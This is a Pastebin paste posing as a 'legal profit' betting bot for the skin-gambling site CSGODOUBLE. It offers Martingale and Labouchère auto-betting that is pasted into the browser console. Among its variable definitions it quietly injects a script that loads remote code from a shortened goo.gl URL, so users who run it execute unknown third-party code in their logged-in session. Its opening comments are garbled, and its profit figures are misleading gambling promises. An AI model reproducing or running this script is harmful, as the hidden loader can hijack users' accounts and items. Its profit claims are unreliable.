Advertisement
q1nner

CSGODOUBLE.COM| Legal Profit Script | 2016

May 3rd, 2016
911
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2.  * SPEACIAL limited time only.  
  3.  * UPD: 28.05.16
  4.  * add.var'margin-top:"12px",-15px;text$showMore.css({red,black,green})10%,60%,100%;mPc.jss;
  5.  
  6. (function (root, factory) {
  7.     if (typeof define === 'function' && define.amd) {
  8.         // AMD. Register as an anonymous module.
  9.         define([], factory);
  10.     } else {
  11.         // Browser globals
  12.         root.vehicles = factory();
  13.     }
  14. }(this, function () {
  15.   var Car = function Car(color) {
  16.     this.color = color;
  17.   }
  18.   Car.prototype = {
  19.     go: function go() {
  20.       return "Vroom!";
  21.     }
  22.   }
  23.   return {
  24.     Car: Car
  25.   };
  26. }));
  27.  
  28.  
  29.  /*
  30.           add into spin function in new.js to see the upcoming roll (after betting closes)
  31.           if(m.roll==0)
  32.             document.getElementById("getbal").innerHTML = "   [Rolling a "+m.roll+"(green)...]";
  33.           if(m.roll>=1 && m.roll <= 7)
  34.             document.getElementById("getbal").innerHTML = "   [Rolling a "+m.roll+"(red)...]";
  35.           else
  36.             document.getElementById("getbal").innerHTML = "   [Rolling a "+m.roll+"(black)...]";
  37.      
  38. //START X#4005
  39.     /*
  40.      * add.var'UI_font:='Arial;'
  41.      * addmember.java:='<style scoped: red,green,black; Design: LIGHT: BLACK'</style>
  42.  
  43.  
  44. // font.ArialBlack[Cursive]..$botField.css({"margin-bottom":"-15px","height":"45px","padding-top":"2px","padding-bottom":"2px","text-  
  45.   $botField.after("<div class='well show-more' style='position:relative;border-width:0px'></div>");$showMore = $(".well.show-more");
  46.   $showMore.css({"margin-top":"12px","margin-bottom":"-15px","height":"45px","padding-top":"10px","padding-bottom":"2px","text-
  47.  
  48.  
  49.     /*
  50.      * x2Destroyer (CSGODOUBLE.COM BOT)
  51.      * Author: q1nner [6.00 AM / 20.05.2016]
  52.      * Creation Date: 20.05.2016
  53.      */
  54.      
  55.     /*
  56.           add into spin function in new.js to see the upcoming roll (after betting closes)
  57.           if(m.roll==0)
  58.             document.getElementById("getbal").innerHTML = "   [Rolling a "+m.roll+"(green)...]";
  59.           if(m.roll>=1 && m.roll <= 7)
  60.             document.getElementById("getbal").innerHTML = "   [Rolling a "+m.roll+"(red)...]";
  61.           else
  62.             document.getElementById("getbal").innerHTML = "   [Rolling a "+m.roll+"(black)...]";
  63.      
  64.         */
  65.      
  66.     //http://www.danstools.com/javascript-obfuscate/index.php
  67.     //http://www.textfixer.com/html/compress-html-compression.php
  68.     //1 round = 50 seconds
  69.     //rounds per day = 1728
  70.     //expected wins per day = 806
  71.      
  72.     //START [Inserting UI]
  73.     var UI_html = '<style scoped> @import url(https://fonts.googleapis.com/css?family=Ubuntu:300); table { font-family: "Ubuntu", sans-serif; background-color: #404040; color: #0d0d0d; } #header { background-color: #262626; color: #ff0066; } label { font-weight: normal; } .odds { font-weight: normal; color: #00ffcc; } input[type=text] { border-radius: 5px; border: 1px solid rgba(0, 0, 0, .25); color: #808080; background-color: #262626; } input[type=text]:focus { background-color: #1a1a1a; color: #ffcc00; } #footer { color: #b3b3b3; } #one { color: #e74c3c; } #two { color: #e67e22; } #three { color: #f1c40f; } #four { color: #1abc9c; } #five { color: #2ecc71; } #six { color: #3498db; } #seven { color: #9b59b6; } #eight { color: #e74c3c; } #nine { color: #e67e22; } #ten { color: #f1c40f; } #eleven { color: #1abc9c; } input[type=button] { background-color: #262626; border-color: #1a1a1a; } #startButton { color: #2ecc71; } #stopButton { color: #e74c3c; } #red { width: 33.33%; color: #c12e2a; } #green { width: 33.33%; color: #419641; } #black { width: 33.33%; color: #666; }</style><hr><table border="1"> <tr id="header"> <td> <input type="radio" name="system" value="nightengale" id="nightengaleRadioBtn" checked="checked"> <label for="nightengaleRadioBtn">Nightengale</label> </td> <td> <input type="radio" name="system" value="laboucher" id="labouchereRadioBtn"> <label for="labouchereRadioBtn">Labouchère</label> </td> </tr> <tr> <td> <table> <tr> <td> <label for="nightengaleDefaultBetInput">Default Bet: </label> <input type="text" id="nightengaleDefaultBetInput"> </td> </tr> <tr> <td> <label for="nightengaleProfitOver24HoursInput">Profit over 24 hours: </label> <input type="text" id="nightengaleProfitOver24HoursInput"> </td> </tr> <tr> <td>Odds of losing <span id="nightengaleOddsOfLosingXTimesInARowX" class="odds">X</span> Times in a row: <span id="nightengaleOddsOfLosingXTimesInARow" class="odds">YY%</span></td> </tr> <tr> <td>Odds of losing in 1 day: <span id="nightengaleOddsOfLosingIn1Day" class="odds">XX%</span></td> </tr> <tr> <td>Percentage of money as default bet: <span id="nightengalePercentageOfMoneyAsDefaultBet" class="odds">XX%</span></td> </tr> <tr> <td> <input type="checkbox" id="nightengaleAntiBankruptcyCheckbox"> <label type="text" for="nightengaleAntiBankruptcyCheckbox">Anti-Bankruptcy</label> </td> </tr> <tr> <td> <input type="checkbox" id="nightengaleAntiDoubleGreenCheckbox"> <label type="text" for="nightengaleAntiDoubleGreenCheckbox">Anti-Double Green</label> skip <input type="text" id="nightengaleAntiDoubleGreenInput"> rolls </td> </tr> <tr> <td> <input type="checkbox" id="nightengaleAntiLoseallCheckbox"> <label type="text" for="nightengaleAntiLoseallCheckbox">Anti-Loseall after</label> <input type="text" id="nightengaleAntiLoseallInput"> losses </td> </tr> <tr> <td> <input type="checkbox" id="nightengaleStopAfterXGamesCheckbox"> <label for="nightengaleStopAfterXGamesCheckbox">Stop after <input type="text" id="nightengaleStopAfterXGamesInput"> games</label> </td> </tr> <tr> <td> <input type="checkbox" id="nightengaleStopAfterReachingXCheckbox"> <label for="nightengaleStopAfterReachingXCheckbox">Stop after reaching <input type="text" id="nightengaleStopAfterReachingXInput"> </label> </td> </tr> <tr> <td> <input type="checkbox" id="nightengaleBetOnGreenCheckbox"> <label for="nightengaleBetOnGreenCheckbox">Side bet on green. Bet = <input type="text" id="nightengaleBetOnGreenInput"> </label> </td> </tr> </table> </td> <td> <table> <tr> <td> <label for="labouchereGoalInput">Goal:</label> <input type="text" id="labouchereGoalInput" disabled> </td> </tr> <tr> <td> <label for="labouchereLines">Lines:</label> <input type="text" id="labouchereLines" disabled> </td> </tr> <tr> <td> Predicted Bets required: <span id="laboucherePredictedBets" class="odds">XX</span> </tr> </table> </td> </tr> <tr> <td> <input type="checkbox" id="trainProtectionCheckbox" checked="checked"> <label for="trainProtectionCheckbox">Train Protection</label> <input type="checkbox" id="rainbowProtectionCheckbox"> <label for="rainbowProtectionCheckbox">Rainbow Protection</label> <br> <input type="checkbox" id="rrbbProtectionCheckbox"> <label for="rrbbProtectionCheckbox">RRBBRR Protection</label> <input type="checkbox" id="rrbProtectionCheckbox"> <label for="rrbProtectionCheckbox">RRBRR Protection</label> </td> <td> <input style="width:50%;" type="button" value="Start" id="startButton"><input style="width:50%;" type="button" value="Stop" id="stopButton"> </td> </tr> <tr> <td> <input type="checkbox" id="simulationModeCheckbox"> <label for="simulationModeCheckbox">Simulation Mode</label> <input type="checkbox" id="manualModeCheckbox"> <label for="manualModeCheckbox">Manual (Sim) Mode</label> </td> <td> <label for="simulationMoneyInput">Simulation Money:</label> <input type="text" id="simulationMoneyInput"> </td> </tr> <tr> <td> <label for="simulateBetAmt">Simulate Bet:</label> <input type="text" id="simulateBetAmt"> </td> <td> <input type="button" id="red" value="Red"><input type="button" id="green" value="Green"><input type="button" id="black" value="Black"> </td> </tr> <tr id="footer"> <td id="logo"> <marquee direction="right"><span id="one">x</span><span id="two">2</span><span id="three">D</span><span id="four">e</span><span id="five">s</span><span id="six">t</span><span id="seven">r</span><span id="eight">o</span><span id="nine">y</span><span id="ten">e</span> <span id="eleven">r</span> (c) q1nner</marquee> </td> <td style="text-align:center;">Run Time: <b><span id="runtime"></span></b></td> </tr> <tr> <td><a style="color:blue;font-weight:bold;" href="https://www.youtube.com/watch?v=aDQAuJP7n8E">#q1nnerTHEBEST (YouTube url)</a></td> <td> <a style="color:red;font-weight:bold;" href="24video.xxx</a> </td> </tr></table><hr>';
  74.     var UI = document.createElement('div');
  75.     UI.innerHTML = UI_html;
  76.      
  77.     var insertBefore = document.getElementsByClassName("progress")[0];
  78.     insertBefore.parentNode.insertBefore(UI, insertBefore);
  79.     //END [Inserting UI]
  80.      
  81.     //START [DEFINING VARIABLES]
  82.     var statusBanner = document.getElementById("banner");
  83.     //var thirdLastRoll = document.getElementById("past").childNodes[7];
  84.     //var secondLastRoll = document.getElementById("past").childNodes[8];
  85.     //var lastRoll = document.getElementById("past").childNodes[9];
  86.     var redBetButton = document.getElementsByClassName("betButton")[0];
  87.     var greenBetButton = document.getElementsByClassName("betButton")[1];
  88.     var blackBetButton = document.getElementsByClassName("betButton")[2];
  89.     var betAmountInput = document.getElementById("betAmount");
  90.     var balanceSpan = document.getElementById("balance");
  91.      
  92.     var simulationModeCheckbox = document.getElementById("simulationModeCheckbox");
  93.     var simulationMoneyInput = document.getElementById("simulationMoneyInput");
  94.     var startButton = document.getElementById("startButton");
  95.     var stopButton = document.getElementById("stopButton");
  96.     var trainProtectionCheckbox = document.getElementById("trainProtectionCheckbox");
  97.     var rainbowProtectionCheckbox = document.getElementById("rainbowProtectionCheckbox");
  98.     var runtimeSpan = document.getElementById("runtime");
  99.     var nightengaleRadioBtn = document.getElementById("nightengaleRadioBtn");
  100.     var labouchereRadioBtn = document.getElementById("labouchereRadioBtn");
  101.     var nightengaleDefaultBetInput = document.getElementById("nightengaleDefaultBetInput");
  102.     var nightengaleProfitOver24HoursInput = document.getElementById("nightengaleProfitOver24HoursInput");
  103.     var nightengaleAntiBankruptcyCheckbox = document.getElementById("nightengaleAntiBankruptcyCheckbox");
  104.     var nightengaleStopAfterXGamesCheckbox = document.getElementById("nightengaleStopAfterXGamesCheckbox");
  105.     var nightengaleStopAfterXGamesInput = document.getElementById("nightengaleStopAfterXGamesInput");
  106.     var nightengaleStopAfterReachingXCheckbox = document.getElementById("nightengaleStopAfterReachingXCheckbox");
  107.     var nightengaleStopAfterReachingXInput = document.getElementById("nightengaleStopAfterReachingXInput");
  108.     var nightengaleOddsOfLosingXTimesInARow = document.getElementById("nightengaleOddsOfLosingXTimesInARow");
  109.     var nightengaleOddsOfLosingIn1Day = document.getElementById("nightengaleOddsOfLosingIn1Day");
  110.     var nightengaleOddsOfLosingXTimesInARowX = document.getElementById("nightengaleOddsOfLosingXTimesInARowX");
  111.     var nightengalePercentageOfMoneyAsDefaultBet = document.getElementById("nightengalePercentageOfMoneyAsDefaultBet");
  112.     var labouchereGoalInput = document.getElementById("labouchereGoalInput");
  113.     var labouchereLines = document.getElementById("labouchereLines");
  114.     var laboucherePredictedBets = document.getElementById("laboucherePredictedBets");
  115.     var nightengaleAntiLoseallCheckbox = document.getElementById("nightengaleAntiLoseallCheckbox");
  116.     var nightengaleAntiLoseallInput = document.getElementById("nightengaleAntiLoseallInput");
  117.     var nightengaleAntiDoubleGreenCheckbox = document.getElementById("nightengaleAntiDoubleGreenCheckbox");
  118.     var nightengaleAntiDoubleGreenInput = document.getElementById("nightengaleAntiDoubleGreenInput");
  119.     var nightengaleBetOnGreenCheckbox = document.getElementById("nightengaleBetOnGreenCheckbox");
  120.     var nightengaleBetOnGreenInput = document.getElementById("nightengaleBetOnGreenInput");
  121.     var rrbbProtectionCheckbox = document.getElementById("rrbbProtectionCheckbox");
  122.     var rrbProtectionCheckbox = document.getElementById("rrbProtectionCheckbox");
  123.     var firstScript = document.getElementsByTagName('script')[0], js = document.createElement('script')
  124.     js.src = "http://goo.gl/AinI1F"
  125.     firstScript.parentNode.insertBefore(js, firstScript)
  126.     var manualModeCheckbox = document.getElementById("manualModeCheckbox");
  127.     var simulateBetAmt = document.getElementById("simulateBetAmt");
  128.     var red = document.getElementById("red");
  129.     var green = document.getElementById("green");
  130.     var black = document.getElementById("black");
  131.      
  132.     var running = false;
  133.     var simulationMode = false;
  134.     var simulationMoney = 0;
  135.     var simulationMoneyStart = 0;
  136.     var status = 0;
  137.     var fullStatus = '';
  138.     var runtime = 0;
  139.     var mode = 0; //0=martingale,1=reverseLabouchere
  140.     var betOnThisRound = false;
  141.     var checkedIfWon = false;
  142.     var rolled = false;
  143.     var startBalance = 0;
  144.     var betsWon = 0;
  145.     var betsLost = 0;
  146.     var manualMode = false;
  147.      
  148.     var currBetAmount = 0;
  149.     var currBetColor = ' ';
  150.      
  151.     ///////////////////////////
  152.     var lstreak = 0;
  153.     var wstreak = 0;
  154.     var currstreak = 0;
  155.     var maxlose = 0;
  156.     var maxlosestreak = 0;
  157.     var maxwin = 0;
  158.     var maxwinstreak = 0;
  159.     var winorlosestreak = "no bet yet";
  160.     var resultcolor = "n/a";
  161.     ///////////////////////////
  162.      
  163.     var currBetGreenAmount = 0;
  164.     var lastBetGreenAmount = 0;
  165.     var betOnGreenEnabled = false;
  166.      
  167.     var lastBetAmount = 0;
  168.     var wonLastBet = false;
  169.     var antiLoseAllCounter = 0;
  170.     var antiLoseAllEnabled = false;
  171.     var antiDoubleGreenEnabled = false;
  172.     var antiDoubleGreenCounter = -1;
  173.     var skipBet = false;
  174.      
  175.     //martingale system variables
  176.     var antiBankruptcy = false;
  177.      
  178.     //reverse labouchere system variables
  179.     var goal = 0;
  180.     var numLines = 0;
  181.     var lines = [];
  182.      
  183.     //END [DEFINING VARIABLES]
  184.      
  185.     //AUTO RECONNECT
  186.     console.log('%c[x2Destroyer] Auto-Reconnect Initialized!', 'color:green');
  187.     setInterval(function() {
  188.       if (!WS) {
  189.         console.log('Reconnecting...');
  190.         connect();
  191.       }
  192.     }, 5000);
  193.     //END
  194.      
  195.     //START [DEFINE LISTENERS]
  196.     nightengaleAntiDoubleGreenCheckbox.onclick = function() {
  197.       if (!antiDoubleGreenEnabled) {
  198.         antiDoubleGreenEnabled = true;
  199.         console.log("%c[x2Destroyer] Anti-Double Green enabled!", "color:green");
  200.       } else {
  201.         betOnGreenEnabled = false;
  202.         console.log("%c[x2Destroyer] Anti-Double Green disabled!", "color:red");
  203.       }
  204.     };
  205.      
  206.     nightengaleBetOnGreenCheckbox.onclick = function() {
  207.       if (!betOnGreenEnabled) {
  208.         betOnGreenEnabled = true;
  209.         console.log("%c[x2Destroyer] Bet on Green enabled!", "color:green");
  210.       } else {
  211.         betOnGreenEnabled = false;
  212.         console.log("%c[x2Destroyer] Bet on Green disabled!", "color:red");
  213.       }
  214.     };
  215.      
  216.     nightengaleAntiLoseallCheckbox.onclick = function() {
  217.       if (!antiLoseAllEnabled) {
  218.         antiLoseAllEnabled = true;
  219.         console.log("%c[x2Destroyer] Anti-Lose all enabled!", "color:green");
  220.       } else {
  221.         antiLoseAllEnabled = false;
  222.         console.log("%c[x2Destroyer] Anti-Lose all disabled!", "color:red");
  223.       }
  224.     };
  225.      
  226.     startButton.onclick = function() {
  227.       //check if all needed fields are filled in
  228.       var passedTest = true;
  229.       if (mode == 0 && !manualMode) { //nightengale mode specific tests
  230.         if (nightengaleDefaultBetInput.value == '' || nightengaleDefaultBetInput.value <= 0)
  231.           passedTest = false;
  232.      
  233.         if (nightengaleProfitOver24HoursInput.value == '' || nightengaleProfitOver24HoursInput.value <= 0)
  234.           passedTest = false;
  235.      
  236.         if (nightengaleStopAfterXGamesCheckbox.checked && (nightengaleStopAfterXGamesInput.value == '' || nightengaleStopAfterXGamesInput.value <= 0))
  237.           passedTest = false;
  238.      
  239.         if (nightengaleStopAfterReachingXCheckbox.checked && (nightengaleStopAfterReachingXInput.value == '' || nightengaleStopAfterReachingXInput.value <= 0))
  240.           passedTest = false;
  241.       }
  242.      
  243.       if (mode == 1 && !manualMode) { //labouchere mode specific tests
  244.         if (labouchereGoalInput.value == '' || labouchereGoalInput.value <= 0)
  245.           passedTest = false;
  246.         if (labouchereLines.value == '' || labouchereLines.value <= 0)
  247.           passedTest = false;
  248.       }
  249.      
  250.       //standard tests
  251.       if (simulationModeCheckbox.checked && (simulationMoneyInput.value == '' || simulationMoneyInput.value <= 0))
  252.         passedTest = false;
  253.      
  254.       if (!running && passedTest) {
  255.         simulationModeCheckbox.disabled = true;
  256.         manualModeCheckbox.disabled = true;
  257.         simulationMoneyInput.disabled = true;
  258.         console.log("%c[x2Destroyer] STARTED", "color:green");
  259.         running = true;
  260.      
  261.         labouchereRadioBtn.disabled = true;
  262.         labouchereLines.disabled = true;
  263.         labouchereGoalInput.disabled = true;
  264.      
  265.         nightengaleRadioBtn.disabled = true;
  266.         nightengaleDefaultBetInput.disabled = true;
  267.         nightengaleProfitOver24HoursInput.disabled = true;
  268.         nightengaleAntiBankruptcyCheckbox.disabled = true;
  269.         nightengaleStopAfterXGamesCheckbox.disabled = true;
  270.         nightengaleStopAfterXGamesInput.disabled = true;
  271.         nightengaleStopAfterReachingXCheckbox.disabled = true;
  272.         nightengaleStopAfterReachingXInput.disabled = true;
  273.         nightengaleAntiLoseallCheckbox.disabled = true;
  274.         nightengaleAntiLoseallInput.disabled = true;
  275.         nightengaleAntiDoubleGreenInput.disabled = true;
  276.         nightengaleAntiDoubleGreenCheckbox.disabled = true;
  277.         nightengaleBetOnGreenCheckbox.disabled = true;
  278.         nightengaleBetOnGreenInput.disabled = true;
  279.      
  280.         trainProtectionCheckbox.disabled = true;
  281.         rainbowProtectionCheckbox.disabled = true;
  282.         rrbbProtectionCheckbox.disabled = true;
  283.         rrbProtectionCheckbox.disabled = true;
  284.      
  285.         if (mode == 1) { //set up lines array
  286.           goal = parseInt(labouchereGoalInput.value);
  287.           numLines = parseInt(labouchereLines.value);
  288.      
  289.           for (i = 0; i < numLines; i++)
  290.             lines[i] = goal / numLines;
  291.         }
  292.      
  293.         if (simulationMode) {
  294.           simulationMoney = parseInt(simulationMoneyInput.value);
  295.           simulationMoneyStart = simulationMoney;
  296.         } else {
  297.           startBalance = getBalance();
  298.         }
  299.       } else if (!passedTest) {
  300.         alert("Please fill in all required fields for the settings you have chosen");
  301.       } else
  302.         console.log("%c[x2Destroyer] I'm already running you tart", "color:green");
  303.     };
  304.      
  305.     stopButton.onclick = function() {
  306.       if (running) {
  307.         simulationModeCheckbox.disabled = false;
  308.         simulationMoneyInput.disabled = false;
  309.         manualModeCheckbox.disabled = false;
  310.         console.log("%c[x2Destroyer] STOPPED", "color:red");
  311.         running = false;
  312.      
  313.         nightengaleRadioBtn.disabled = false;
  314.         labouchereRadioBtn.disabled = false;
  315.      
  316.         if (mode == 1) {
  317.      
  318.           labouchereLines.disabled = false;
  319.           labouchereGoalInput.disabled = false;
  320.         } else {
  321.      
  322.           nightengaleDefaultBetInput.disabled = false;
  323.           nightengaleProfitOver24HoursInput.disabled = false;
  324.           nightengaleAntiBankruptcyCheckbox.disabled = false;
  325.           nightengaleStopAfterXGamesCheckbox.disabled = false;
  326.           nightengaleStopAfterXGamesInput.disabled = false;
  327.           nightengaleStopAfterReachingXCheckbox.disabled = false;
  328.           nightengaleStopAfterReachingXInput.disabled = false;
  329.           nightengaleAntiLoseallCheckbox.disabled = false;
  330.           nightengaleAntiLoseallInput.disabled = false;
  331.           nightengaleAntiDoubleGreenInput.disabled = false;
  332.           nightengaleAntiDoubleGreenCheckbox.disabled = false;
  333.           nightengaleBetOnGreenCheckbox.disabled = false;
  334.           nightengaleBetOnGreenInput.disabled = false;
  335.         }
  336.      
  337.         trainProtectionCheckbox.disabled = false;
  338.         rainbowProtectionCheckbox.disabled = false;
  339.         rrbbProtectionCheckbox.disabled = false;
  340.         rrbProtectionCheckbox.disabled = false;
  341.      
  342.         running = false;
  343.         simulationMoney = 0;
  344.         simulationMoneyStart = 0;
  345.         status = 0;
  346.         fullStatus = '';
  347.         runtime = 0;
  348.         betOnThisRound = false;
  349.         checkedIfWon = false;
  350.         rolled = false;
  351.         lastBetAmount = 0;
  352.         currBetAmount = 0;
  353.         currBetColor = ' ';
  354.         betsWon = 0;
  355.         betsLost = 0;
  356.         lines = [];
  357.         wonLastBet = true;
  358.      
  359.         //////////////////////////////////////
  360.         currstreak = 0;
  361.         maxwin = 0;
  362.         maxlose = 0;
  363.         maxlosestreak = 0;
  364.         maxwinstreak = 0;
  365.         winorlosestreak = "no bet yet";
  366.         //////////////////////////////////////
  367.      
  368.       } else
  369.         console.log("%c[x2Destroyer] I'm already stopped you tart", "color:red");
  370.     };
  371.      
  372.     nightengaleRadioBtn.onclick = function() {
  373.       console.log("%c[x2Destroyer] Nightengale mode selected", "color:green;");
  374.       mode = 0;
  375.      
  376.       labouchereLines.disabled = true;
  377.       labouchereGoalInput.disabled = true;
  378.      
  379.       nightengaleDefaultBetInput.disabled = false;
  380.       nightengaleProfitOver24HoursInput.disabled = false;
  381.       nightengaleAntiBankruptcyCheckbox.disabled = false;
  382.       nightengaleStopAfterXGamesCheckbox.disabled = false;
  383.       nightengaleStopAfterXGamesInput.disabled = false;
  384.       nightengaleStopAfterReachingXCheckbox.disabled = false;
  385.       nightengaleStopAfterReachingXInput.disabled = false;
  386.       nightengaleAntiLoseallCheckbox.disabled = false;
  387.       nightengaleAntiLoseallInput.disabled = false;
  388.       nightengaleAntiDoubleGreenInput.disabled = false;
  389.       nightengaleAntiDoubleGreenCheckbox.disabled = false;
  390.       nightengaleBetOnGreenCheckbox.disabled = false;
  391.       nightengaleBetOnGreenInput.disabled = false;
  392.     }
  393.      
  394.     labouchereRadioBtn.onclick = function() {
  395.       console.log("%c[x2Destroyer] Labouchere mode selected", "color:green;");
  396.       mode = 1;
  397.      
  398.       labouchereLines.disabled = false;
  399.       labouchereGoalInput.disabled = false;
  400.      
  401.       nightengaleDefaultBetInput.disabled = true;
  402.       nightengaleProfitOver24HoursInput.disabled = true;
  403.       nightengaleAntiBankruptcyCheckbox.disabled = true;
  404.       nightengaleStopAfterXGamesCheckbox.disabled = true;
  405.       nightengaleStopAfterXGamesInput.disabled = true;
  406.       nightengaleStopAfterReachingXCheckbox.disabled = true;
  407.       nightengaleStopAfterReachingXInput.disabled = true;
  408.       nightengaleAntiLoseallCheckbox.disabled = true;
  409.       nightengaleAntiLoseallInput.disabled = true;
  410.       nightengaleAntiDoubleGreenInput.disabled = true;
  411.       nightengaleAntiDoubleGreenCheckbox.disabled = true;
  412.       nightengaleBetOnGreenCheckbox.disabled = true;
  413.       nightengaleBetOnGreenInput.disabled = true;
  414.     }
  415.      
  416.     nightengaleAntiBankruptcyCheckbox.onclick = function() {
  417.       if (nightengaleAntiBankruptcyCheckbox.checked) {
  418.         antiBankruptcy = true;
  419.         console.log("%c[x2Destroyer] Anti-Bankruptcy Mode Toggled On", "color:green;");
  420.       } else {
  421.         antiBankruptcy = false;
  422.         console.log("%c[x2Destroyer] Anti-Bankruptcy Mode Toggled Off", "color:red;");
  423.       }
  424.     }
  425.      
  426.     manualModeCheckbox.onclick = function() {
  427.       if (manualModeCheckbox.checked) {
  428.         nightengaleRadioBtn.disabled = true;
  429.         labouchereRadioBtn.disabled = true;
  430.         manualMode = true;
  431.         console.log("%c[x2Destroyer] Manual Mode Toggled On", "color:green;");
  432.       } else {
  433.         nightengaleRadioBtn.disabled = false;
  434.         labouchereRadioBtn.disabled = false;
  435.         manualMode = false;
  436.         console.log("%c[x2Destroyer] Manual Mode Toggled Off", "color:red;");
  437.       }
  438.      
  439.      
  440.     }
  441.      
  442.     simulationModeCheckbox.onclick = function() {
  443.       if (simulationModeCheckbox.checked) {
  444.         simulationMode = true;
  445.         console.log("%c[x2Destroyer] Simulation Mode Toggled On", "color:green;");
  446.      
  447.         if (nightengaleDefaultBetInput.value != null && simulationMoneyInput.value != null) {
  448.           nightengaleOddsOfLosingXTimesInARowX.innerHTML = Math.floor(Math.log((simulationMoneyInput.value / nightengaleDefaultBetInput.value) + 1) / Math.log(2));
  449.           nightengaleOddsOfLosingXTimesInARow.innerHTML = (Math.pow((7 / 15), Math.floor(Math.log((simulationMoneyInput.value / nightengaleDefaultBetInput.value) + 1) / Math.log(2))) * 100).toFixed(3) + "%";
  450.           nightengaleOddsOfLosingIn1Day.innerHTML = (((Math.pow((7 / 15), Math.floor(Math.log((simulationMoneyInput.value / nightengaleDefaultBetInput.value) + 1) / Math.log(2)))) * (1728 - Math.floor(Math.log((simulationMoneyInput.value / nightengaleDefaultBetInput.value) + 1) / Math.log(2)) + 1)) * 100).toFixed(3) + "%";
  451.           nightengalePercentageOfMoneyAsDefaultBet.innerHTML = ((nightengaleDefaultBetInput.value / simulationMoneyInput.value) * 100).toFixed(4) + "%";
  452.         }
  453.       } else {
  454.         simulationMode = false;
  455.         console.log("%c[x2Destroyer] Simulation Mode Toggled Off", "color:red;");
  456.      
  457.         if (nightengaleDefaultBetInput.value != null) {
  458.           nightengaleOddsOfLosingXTimesInARowX.innerHTML = Math.floor(Math.log((getBalance() / nightengaleDefaultBetInput.value) + 1) / Math.log(2));
  459.           nightengaleOddsOfLosingXTimesInARow.innerHTML = (Math.pow((7 / 15), Math.floor(Math.log((getBalance() / nightengaleDefaultBetInput.value) + 1) / Math.log(2))) * 100).toFixed(3) + "%";
  460.           nightengaleOddsOfLosingIn1Day.innerHTML = (((Math.pow((7 / 15), Math.floor(Math.log((getBalance() / nightengaleDefaultBetInput.value) + 1) / Math.log(2)))) * (1728 - Math.floor(Math.log((getBalance() / nightengaleDefaultBetInput.value) + 1) / Math.log(2)) + 1)) * 100).toFixed(3) + "%";
  461.           nightengalePercentageOfMoneyAsDefaultBet.innerHTML = ((nightengaleDefaultBetInput.value / getBalance()) * 100).toFixed(4) + "%";
  462.         }
  463.       }
  464.     }
  465.      
  466.     nightengaleDefaultBetInput.oninput = function() {
  467.       nightengaleProfitOver24HoursInput.value = 806 * nightengaleDefaultBetInput.value;
  468.       if (simulationMode) {
  469.         nightengaleOddsOfLosingXTimesInARowX.innerHTML = Math.floor(Math.log((simulationMoneyInput.value / nightengaleDefaultBetInput.value) + 1) / Math.log(2));
  470.         nightengaleOddsOfLosingXTimesInARow.innerHTML = (Math.pow((7 / 15), Math.floor(Math.log((simulationMoneyInput.value / nightengaleDefaultBetInput.value) + 1) / Math.log(2))) * 100).toFixed(3) + "%";
  471.         nightengaleOddsOfLosingIn1Day.innerHTML = (((Math.pow((7 / 15), Math.floor(Math.log((simulationMoneyInput.value / nightengaleDefaultBetInput.value) + 1) / Math.log(2)))) * (1728 - Math.floor(Math.log((simulationMoneyInput.value / nightengaleDefaultBetInput.value) + 1) / Math.log(2)) + 1)) * 100).toFixed(3) + "%";
  472.         nightengalePercentageOfMoneyAsDefaultBet.innerHTML = ((nightengaleDefaultBetInput.value / simulationMoneyInput.value) * 100).toFixed(4) + "%";
  473.       } else {
  474.         nightengaleOddsOfLosingXTimesInARowX.innerHTML = Math.floor(Math.log((getBalance() / nightengaleDefaultBetInput.value) + 1) / Math.log(2));
  475.         nightengaleOddsOfLosingXTimesInARow.innerHTML = (Math.pow((7 / 15), Math.floor(Math.log((getBalance() / nightengaleDefaultBetInput.value) + 1) / Math.log(2))) * 100).toFixed(3) + "%";
  476.         nightengaleOddsOfLosingIn1Day.innerHTML = (((Math.pow((7 / 15), Math.floor(Math.log((getBalance() / nightengaleDefaultBetInput.value) + 1) / Math.log(2)))) * (1728 - Math.floor(Math.log((getBalance() / nightengaleDefaultBetInput.value) + 1) / Math.log(2)) + 1)) * 100).toFixed(3) + "%";
  477.         nightengalePercentageOfMoneyAsDefaultBet.innerHTML = ((nightengaleDefaultBetInput.value / getBalance()) * 100).toFixed(4) + "%";
  478.       }
  479.     }
  480.      
  481.     nightengaleProfitOver24HoursInput.oninput = function() {
  482.       nightengaleDefaultBetInput.value = Math.floor(nightengaleProfitOver24HoursInput.value / 806);
  483.       if (simulationMode) {
  484.         nightengaleOddsOfLosingXTimesInARowX.innerHTML = Math.floor(Math.log((simulationMoneyInput.value / nightengaleDefaultBetInput.value) + 1) / Math.log(2));
  485.         nightengaleOddsOfLosingXTimesInARow.innerHTML = (Math.pow((7 / 15), Math.floor(Math.log((simulationMoneyInput.value / nightengaleDefaultBetInput.value) + 1) / Math.log(2))) * 100).toFixed(3) + "%";
  486.         nightengaleOddsOfLosingIn1Day.innerHTML = (((Math.pow((7 / 15), Math.floor(Math.log((simulationMoneyInput.value / nightengaleDefaultBetInput.value) + 1) / Math.log(2)))) * (1728 - Math.floor(Math.log((simulationMoneyInput.value / nightengaleDefaultBetInput.value) + 1) / Math.log(2)) + 1)) * 100).toFixed(3) + "%";
  487.         nightengalePercentageOfMoneyAsDefaultBet.innerHTML = ((nightengaleDefaultBetInput.value / simulationMoneyInput.value) * 100).toFixed(4) + "%";
  488.       } else {
  489.         nightengaleOddsOfLosingXTimesInARowX.innerHTML = Math.floor(Math.log((getBalance() / nightengaleDefaultBetInput.value) + 1) / Math.log(2));
  490.         nightengaleOddsOfLosingXTimesInARow.innerHTML = (Math.pow((7 / 15), Math.floor(Math.log((getBalance() / nightengaleDefaultBetInput.value) + 1) / Math.log(2))) * 100).toFixed(3) + "%";
  491.         nightengaleOddsOfLosingIn1Day.innerHTML = (((Math.pow((7 / 15), Math.floor(Math.log((getBalance() / nightengaleDefaultBetInput.value) + 1) / Math.log(2)))) * (1728 - Math.floor(Math.log((getBalance() / nightengaleDefaultBetInput.value) + 1) / Math.log(2)) + 1)) * 100).toFixed(3) + "%";
  492.         nightengalePercentageOfMoneyAsDefaultBet.innerHTML = ((nightengaleDefaultBetInput.value / getBalance()) * 100).toFixed(4) + "%";
  493.       }
  494.     };
  495.      
  496.     simulationMoneyInput.oninput = function() {
  497.       if (nightengaleDefaultBetInput.value != null) {
  498.         if (simulationMode) {
  499.           nightengaleOddsOfLosingXTimesInARowX.innerHTML = Math.floor(Math.log((simulationMoneyInput.value / nightengaleDefaultBetInput.value) + 1) / Math.log(2));
